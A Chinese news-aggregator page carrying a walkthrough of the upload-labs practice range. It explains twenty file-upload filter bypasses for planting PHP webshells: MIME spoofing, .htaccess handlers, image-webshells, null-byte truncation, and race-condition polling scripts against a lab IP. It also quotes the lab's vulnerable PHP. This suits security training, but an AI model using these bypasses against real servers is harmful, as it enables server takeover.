最新要闻
- 世界讯息:电动车充电自燃一家4口不幸遇难 现场惨烈:网友感慨为何在家充电?
- 百事通!新势力年交付突破百万背后 谁得意 谁失意?
- 环球新消息丨安卓阵营绝无仅有!一加11屏幕体验最接近苹果iPhone ProMotion
- 全球焦点!售价或低于20万 特斯全新入门新车效果图曝光:颜值挺高
- 焦点要闻:祖传1200万像素要终结!曝苹果iPhone 15将配备4800万像素
- 滑雪不会刹车女生一路靠吼下坡 网友调侃练河东狮吼:医生科普受伤有多严重
- 环球新动态:一加11今天发!起步就是12GB+256GB 拒绝凑数卡价位
- PC主机消失不可避免:备胎随时上位
- 快看点丨华硕ROG发布首款四频Wi-Fi 7八爪鱼游戏路由:25Gbps、三万兆网口
- 天天实时:太突然!国产饮料巨头宣布破产:一代名饮国产可乐退场网友唏嘘
- 焦点播报:增程车是必然被淘汰的技术 谁买坑谁?理想、华为反驳
- 当前信息:就因为一张朋友圈截图 全国的蒙脱石散都卖光了
- 只需钻入地下几千米 就有无穷能源!为啥没人干呢?
- 3000万用户数据泄露:这一次 我们的推荐翻车了
- 环球热消息:奇闻:为了保护疫苗 200多年前 竟然用孤儿活体运输
- 全球看热讯:VR:新一代年轻人的鸽王终结者
手机
iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
- 警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- 男子被关545天申国赔:获赔18万多 驳回精神抚慰金
- 3天内26名本土感染者,辽宁确诊人数已超安徽
- 广西柳州一男子因纠纷杀害三人后自首
- 洱海坠机4名机组人员被批准为烈士 数千干部群众悼念
家电
每日看点!upload-lab靶场
Pass-01
前端js限制文件上传类型,只需要绕过js即可上传文件
(资料图)
- 利用burp的proxy模块,移除所有js文件
- 禁用js脚本
- 修改前端源码,删除js代码
直接演示第三种方法,将源码拷贝到新的html文件
修改源码文件,action选项可以先上传一张正常的图片,查看请求的url
然后打开html上传文件即可上传成功。
Pass-02
首先了解一下MIME是什么?
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。所有传送的数据都被客户程序解释为超文本标记语言HTML 文档,而为了支持多媒体数据类型,HTTP协议中就使用了附加在文档之前的MIME数据类型信息来标识数据类型。
每个MIME类型由两部分组成,前面是数据的大类别,例如声音audio、图象image等,后面定义具体的种类。
如:PNG图像 .png image/png
服务器在发送真正的数据之前,就要先发送标志数据的MIME类型的信息,这个信息使用Content-type
关键字进行定义。
Content-type: text/html
通过源码发现服务器端只是通过Content-type
类型来判断是否是图片文件
if (($_FILES["upload_file"]["type"] == "image/jpeg") || ($_FILES["upload_file"]["type"] == "image/png") || ($_FILES["upload_file"]["type"] == "image/gif")) {$temp_file = $_FILES["upload_file"]["tmp_name"];$img_path = UPLOAD_PATH . "/" . $_FILES["upload_file"]["name"] if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = "上传出错!";}} else {$msg = "文件类型不正确,请重新上传!";}
所以只需要修改Content-type
类型就可以上传webshell
修改为Content-Type: image/jpeg
,可以发现php.php文件上传成功。
Pass-03
当apache的配置文件httpd.conf中存在如下配置时:
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
说明可以通过上传.phtml|.phps|.php5|.pht
这些后缀名的文件,且他们都会被解析称后缀为.php
的文件。所以可以尝试使用上传xxx.php5
这类的文件进行绕过。
注意phpstudy集成环境版本问题,AddType添加不生效解决办法,nts不解析,需要phpts版本。
https://www.cnblogs.com/Article-kelp/p/14927087.html
推荐使用
https://github.com/c0ny1/upload-labs/releases
使用burp修改文件后缀或者直接重命名文件更改后缀后上传
Pass-04
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
需要注意,.htaccess文件的作用域为其所在目录与其所有的子目录,若是子目录也存在.htaccess文件,则会覆盖父目录的.htaccess效果。
.htaccess
参数
AddHandler php5-script .jpgAddType application/x-httpd-php .jpgSethandler application/x-httpd-php
Sethandler
将该目录及子目录的所有文件均映射为php文件类型。Addhandler
使用 php5-script 处理器来解析所匹配到的文件。AddType
将特定扩展名文件映射为php文件类型。
编辑.htaccess
文件
SetHandler application/x-httpd-php
图片马
copy init.jpg/b + php.php horse.jpg
两个文件上传之后,复制图片地址并连接
Pass-05
限制了.htaccess
文件,没有限制大小写
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES["upload_file"]["name"]);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, ".");$file_ext = str_ireplace("::$DATA", "", $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空
使用burp抓包修改或者直接更改后缀名即可绕过。
Pass-06
查看源码发现没首尾去空
$file_ext = trim($file_ext); //首尾去空
使用burp添加空格
然后成功访问
Pass-07
利用Windows特性,没有对文件末尾的点做限制,上传之后Windows会自动去掉点
$file_name = deldot($file_name);//删除文件名末尾的点
使用burp抓包,在文件名后缀上添加.
然后浏览器访问此路径
Pass-08
没有对后缀名进行去::$DATA
处理,利用windows特性,可在后缀名中加::$DATA
绕过
$file_ext = str_ireplace("::$DATA", "", $file_ext);//去除字符串::$DATA
Pass-09
$file_name = trim($_FILES["upload_file"]["name"]);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, ".");$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace("::$DATA", "", $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空$temp_file = $_FILES["upload_file"]["tmp_name"];$img_path = UPLOAD_PATH."/".$file_name;
通过源码发现,之前是随机生成文件名拼接文件后缀$img_path = UPLOAD_PATH."/".date("YmdHis").rand(1000,9999).$file_ext;
,而此处是直接拼接$file_name
,只要上传的文件名满足在$file_ext
过滤之后不在下面的黑名单里且$file_name
是php文件。
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
deldot()
函数会删除文件名末尾的点,连续的点都会被去除,strrchr()
函数会截取文件后缀名。
test.php. .deldot()之后: test.php. strrchr()截取后: .
此时$file_ext = .
不在黑名单之内,且$file_name = test.php.
,windows特性会去除最后的.
,最后上传之后最终变成/upload/test.php
本地测试
使用burp更改后缀
Pass-10
$file_name = str_ireplace($deny_ext,"", $file_name);
将上传的文件名含有黑名单里的关键字全替换为空,使用双写绕过
因为文件名也含有php,所以被去掉了
Pass-11
$ext_arr = array("jpg","png","gif")
只允许的文件后缀,此处上传目录可控,可采用00截断。
00截断原理
00截断是操作系统层的漏洞,由于操作系统是C语言或汇编语言编写的,这两种语言在定义字符串时,都是以\0(即0x00)作为字符串的结尾。操作系统在识别字符串时,当读取到\0字符时,就认为读取到了一个字符串的结束符号。因此,我们可以通过修改数据包,插入\0字符的方式,达到字符串截断的目的。00截断通常用来绕过web软waf的白名单限制。
# 上传一个普通文件/upload/test.txt# 00截断 %00是0在url编码后的内容/upload/test.php%00.txt
白名单会识别到正常的txt
后缀,但是操作系统在读取到\0
时就会结束,从而变成了/upload/test.php
。
php环境00截断要求:php版本小于5.3.29
Pass-12
和Pass-11一样,不过此处使用了POST请求,GET请求可以直接在url上加上%00
会自动解码
拼接上传路径
这是在php后面写1是因为在hex下好快速寻找修改位置
找到1
这个位置
修改为00
上传成功
Pass-13
上传文件会通过读取文件头来判断是什么类型的文件,什么是文件头?每个文件都要一个特定的标识,比如txt文件和jpg文件,系统通过读取文件头来判断此文件属于什么类型。此处有文件包含,可以制作图片马上传。
常见的文件头 JPEG (jpg),文件头:FFD8FF PNG (png),文件头:89504E47 GIF (gif),文件头:47494638 TIFF (tif),文件头:49492A00 Windows Bitmap (bmp),文件头:424D
制作图片马
copy init.jpg/b + phpinfo.php horse.jpg
上传图片后利用文件包含漏洞加载图片马
Pass-14
使用 getimagesize()
函数来获取文件信息,方法和Pass-13一样
Pass-15
使用php_exif模块
来检测,也可以和Pass-13一样,原理和检测文件头类似,可以直接在php文件中添加关键字GIF89a
,把后缀名修改成gif
利用文件包含漏洞访问
Pass-16
判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染。
通过对比上传前后的图片,发现后面的位置已经发生改变,在没有发生改变的位置插入webshell
上传成功之后利用文件包含漏洞访问。
以下参考其他类型图片
https://xz.aliyun.com/t/2657#toc-1
Pass-17
主要测试条件竞争,对于非法文件进行了删除操作,服务器对文件的读取和删除包括代码执行都需要时间,在这一小段时间内,文件仍然存在于服务器上,你就可以进行触发等操作。
编写compete.php
");?>
burp抓取上传数据包到intruder模块
设置payload
设置线程200
然后编写脚本来访问
while True: response = requests.get("http://192.168.73.139/upload/compete.php") code = response.status_code if code == 200: print("OK") break else: print("NO")
多次访问之后发现状态码返回200,说明已经成功执行了php文件
直接访问webshell创建的php文件
返回状态码200有时候可能没有创建成功,可以把break删除,或者统计多个来结束
Pass-18
同样也是条件竞争,只是限制了php文件上传,上传之后重命名,这里使用图片马上传,在重命名时使用条件竞争的方法。
制作图片马
copy 1.jpg/b + compete.php test01.jpg
然后按照上面的方法进行,这里注意的是上传路径不在upload里面,一切以环境正常上传路径为主,我正常上传重名后图片的地址为http://192.168.73.139/upload1669884432.jpg
编写python脚本
import requestswhile True: response = requests.get("http://192.168.73.139/include.php?file=uploadtest01.jpg") text = response.text if "Warning" not in text: print("OK")
Pass-19
用户自定义文件名,通过源码发现用户输入的文件名后缀根据黑名单来进行限制,所以这里直接可以用大写的PHP
进行绕过。
后面在文件路径拼接中,也可以使用00截断绕过。
Pass-20
判断保存名称是否为空,如果为空就用原图片名,否则用保存名称;strtolower()
函数将文件名全部变成小写,explode()
函数通过.
来将文件名分成数组
$file = empty($_POST["save_name"]) ? $_FILES["upload_file"]["name"] : $_POST["save_name"]; if (!is_array($file)) { $file = explode(".", strtolower($file)); }
end()
获取数组中最后的元素,也就是后缀名来判断是否是图片
$ext = end($file); $allow_suffix = array("jpg","png","gif"); if (!in_array($ext, $allow_suffix)) { $msg = "禁止上传该后缀文件!"; }
reset()
函数获取文件名,count()
函数获取数组元素个数来获取后缀
$file_name = reset($file) . "." . $file[count($file) - 1];
结果
Array ( [0] => test [1] => jpg )test.jpg
,自己构造数组绕过,count()
函数获取数组元素个数
test.php.jpgArray ( [0] => test.php [1] => jpg )test.php.jpg
把test.php保留,去除jpg,绕过$file[count($file) - 1]
即$file[count($file) - 1]
置空
$file[0] = "test.php";$file[2] = "jpg";Array ( [0] => test.php [2] => jpg )test.php.
通过move_uploaded_file
函数把点去掉,move_uploaded_file
会自动去掉末尾的/
save_name[0] = test.php/save_name[2] = jpg
构造数据包发送上传成功。
每日看点!upload-lab靶场
世界讯息:电动车充电自燃一家4口不幸遇难 现场惨烈:网友感慨为何在家充电?
百事通!新势力年交付突破百万背后 谁得意 谁失意?
环球新消息丨安卓阵营绝无仅有!一加11屏幕体验最接近苹果iPhone ProMotion
全球焦点!售价或低于20万 特斯全新入门新车效果图曝光:颜值挺高
焦点要闻:祖传1200万像素要终结!曝苹果iPhone 15将配备4800万像素
滑雪不会刹车女生一路靠吼下坡 网友调侃练河东狮吼:医生科普受伤有多严重
环球新动态:一加11今天发!起步就是12GB+256GB 拒绝凑数卡价位
PC主机消失不可避免:备胎随时上位
快看点丨华硕ROG发布首款四频Wi-Fi 7八爪鱼游戏路由:25Gbps、三万兆网口
天天实时:太突然!国产饮料巨头宣布破产:一代名饮国产可乐退场网友唏嘘
焦点播报:增程车是必然被淘汰的技术 谁买坑谁?理想、华为反驳
世界通讯!Spring IOC官方文档学习笔记(六)之自定义bean的特性
数据结构作业(三):直接插入排序 和 归并排序
当前信息:就因为一张朋友圈截图 全国的蒙脱石散都卖光了
只需钻入地下几千米 就有无穷能源!为啥没人干呢?
3000万用户数据泄露:这一次 我们的推荐翻车了
环球热消息:奇闻:为了保护疫苗 200多年前 竟然用孤儿活体运输
全球看热讯:VR:新一代年轻人的鸽王终结者
【前端调试】- 更好的调试方式 VSCode Debugger
世界观点:Python转义字符理解
全球微头条丨大疆官宣手持稳定器新品:RS 3 mini来了
消息!银白装甲!华硕ROG STRIX B760-G GAMING WIFI D4小吹雪主板图赏
微星发布全新B760系列主板:共四款 ITX刀锋小板来了
要闻速递:情侣在酒店电视机拆出针孔摄像头 已发出十几个TB的视频
[Computer Networks]一个http请求的完成的全过程
热消息:不愧最强AM5主板!技嘉X670E AORUS XTREME游戏测试:独门绝技降低内存延迟、提升带宽
Typora-博客园
头条焦点:使用SIPp进行压力测试
观焦点:【插入排序】详细讲解
每日热议!长城山海炮劲敌:国产福特中型皮卡Ranger谍照曝光
天天亮点!情何以堪:男性美甲风暴正席卷全球
今日热搜:荣耀声纹新专利公布:戴口罩依旧能让设备“听懂”
【世界播资讯】三星新款Flex Hybrid OLED屏幕曝光:折叠滑动二合一
【环球速看料】首架国产自主宽带卫星空地互联飞机试飞成功:下载200Mbps
全球观焦点:[概率论与数理统计]笔记:
全球今日报丨美国液化天然气出口量急速飙升:已与卡塔尔并列世界第一
新消息丨2022年中国铁路发送旅客16.1亿人次 全国1、2、3小时高铁出行圈加速形成
即将备战新主机!《塞尔达传说:王国之泪》或是Switch最后第一方大作
天天看点:一年发射61次火箭 马斯克的SpaceX公司更值钱了
最新资讯:AIRIOT答疑第4期|如何使用数据分析引擎?
环球视点!喜讯 | 热烈祝贺方正璞华入选苏州工业园区总部企业服务机构库
环球快讯:大巴司机开车不踩刹车漂移下山 乘客吓坏:我要下车
【天天热闻】OPPO推ColorOS for Pad全新控制中心:多设备管理一站式完成
世界热门:超标电动自行车过渡期能否延期?一地官方回应了
泥潭翻身 AMD x86市场份额逼近40%:重回19年前
全球观速讯丨小米品牌安全“贴心”分享案例:违法翻新倒卖小米电视后果很严重
滚动:记录--短视频滑动播放在 H5 下的实现
[概率论与数理统计]笔记:1.5 事件的独立性
【全球独家】13代酷睿/Zen4都靠边!AMD神U锐龙7 5800X3D卖爆 销量冠军不买能行?
微头条丨中国空间站拍2023年第一缕阳光!如此美景 一天能看16次
当前动态:2023上班第一天:女孩开工前后5分钟“变脸” 网友直呼“这不就是我自己”
90年后归来!方正宣布推出汉文正楷电脑字库:用时6年大量优化
男子买下废弃学校翻新成住宅 每年可收368万租金
【播资讯】2. 向线程函数传递参数
浅谈研发实践的技术债与效能提升
前沿资讯!2022年全国电影总票房超300亿!《长津湖之水门桥》夺冠
接盘暴雪玩家 网易《无尽战区》下周重新开服:首发上线29位英雄
240W超级闪充要来!realme暗示新机充满电不到10分钟
为庆祝传统新年 阿根廷民众烧梅西雕像:当地习俗、已延续66年
当前时讯:Apple Watch Ultra一周上手:不适合普通用户
当前报道:Linux的串口非标准波特率设置更改
最新消息:Go语言实现包的初始化控制器与流程控制器
世界速递!如何站在开发者的角度理解框架的设计思想?
每日热门:文件IO操作开发笔记(一):使用Qt的QFile对磁盘文件存储进行性能测试以及测试工具
全球微资讯!python 中os和sys模块常用方法
与网易和好基无可能 魔兽关服倒计时:暴雪代理谈判进入第二阶段
120Hz自适应刷新0延迟:一加11成屏幕流畅体验天花板
环球速读:五月天版权回归网易云音乐 网友:糟糕的心情好了些
每日消息!俞敏洪给自己2022年打8分:没有欠员工一分钱工资
动态:4599元 雷军分享Redmi K60冠军版特写照:和跑车一样精致
世界视讯!什么是 A/B 实验,为什么要开 A/B 实验?
环球热文:IT 技术工作详解 -小马说工作
每日热文:SweetAlert让消息弹出窗口更加具有个性化!
Redmi K60素皮版本质感堪比手工!雷军:值得你细品
环球看热讯:健康速食!西安饭庄油泼biangbiang面大促:每盒6.66元
今日热门!罗永浩怎么看?西门子回应洗衣机10年包修为保证能修 洋品牌赤裸裸坑国人
Intel Unison正式上线:实现PC与安卓/iOS手机无缝连接
当前消息!你最想看哪个?2023春节档已官宣五部电影 《满江红》比拼《流浪地球2》
每日快看:建筑软件解决方案丨Bluebeam简介
头条:2022 倒带 - NutUI
环球简讯:面试官:为什么 wait/notify 必须与 synchronized 一起使用??
环球微头条丨销量甩Intel+Zen4全家!AMD神U锐龙7 5800X3D卖成年度处理器销冠
全球速递!等了7年!《大圣归来》导演新作《深海》定档 要做国漫里程碑、视觉突破极限
每日速看!10多万买“大路虎” 奇瑞旗舰SUV瑞虎9官图发布:霸气
全球要闻:最贵748元!苹果全系电池涨价 3月1日开始:非针对国人 成本增加所致
【焦点热闻】行驶中天窗可能会掉 奔驰再次召回超12万辆汽车
环球今日讯!诺氟沙星突然爆火!医生紧急提醒:未成年人禁用
每日速递:[概率论与数理统计]笔记:1.4 条件概率
全球消息!699元Redmi 12C开卖 员工:对比友商1500元线下机 竞争力也十足
天天要闻:2023年电动车在美国会更便宜 更多人买得起了!有4点原因
我国最大的固体运载火箭!力箭一号遥二开启总装测试:拟5月发射
故事老套且拖沓?不妨对《阿凡达2》宽容一点
《阿凡达2》票房达到回本线了:全球票房已突破14亿美元
商业网络安全解决方案丨Avast产品简介
时讯:Kubernetes监控手册05-监控Kubelet
袋鼠云产品功能更新报告03期丨产品体验全面优化,请查收!
对标苹果!三星推出27寸ViewFinity S9显示器:5K屏、全金属机身
当前报道:免费十年突然改版!游侠对战平台宣布每天只能免费一小时
焦点日报:价格下来了:东方基因快速检测试剂盒4.9元/份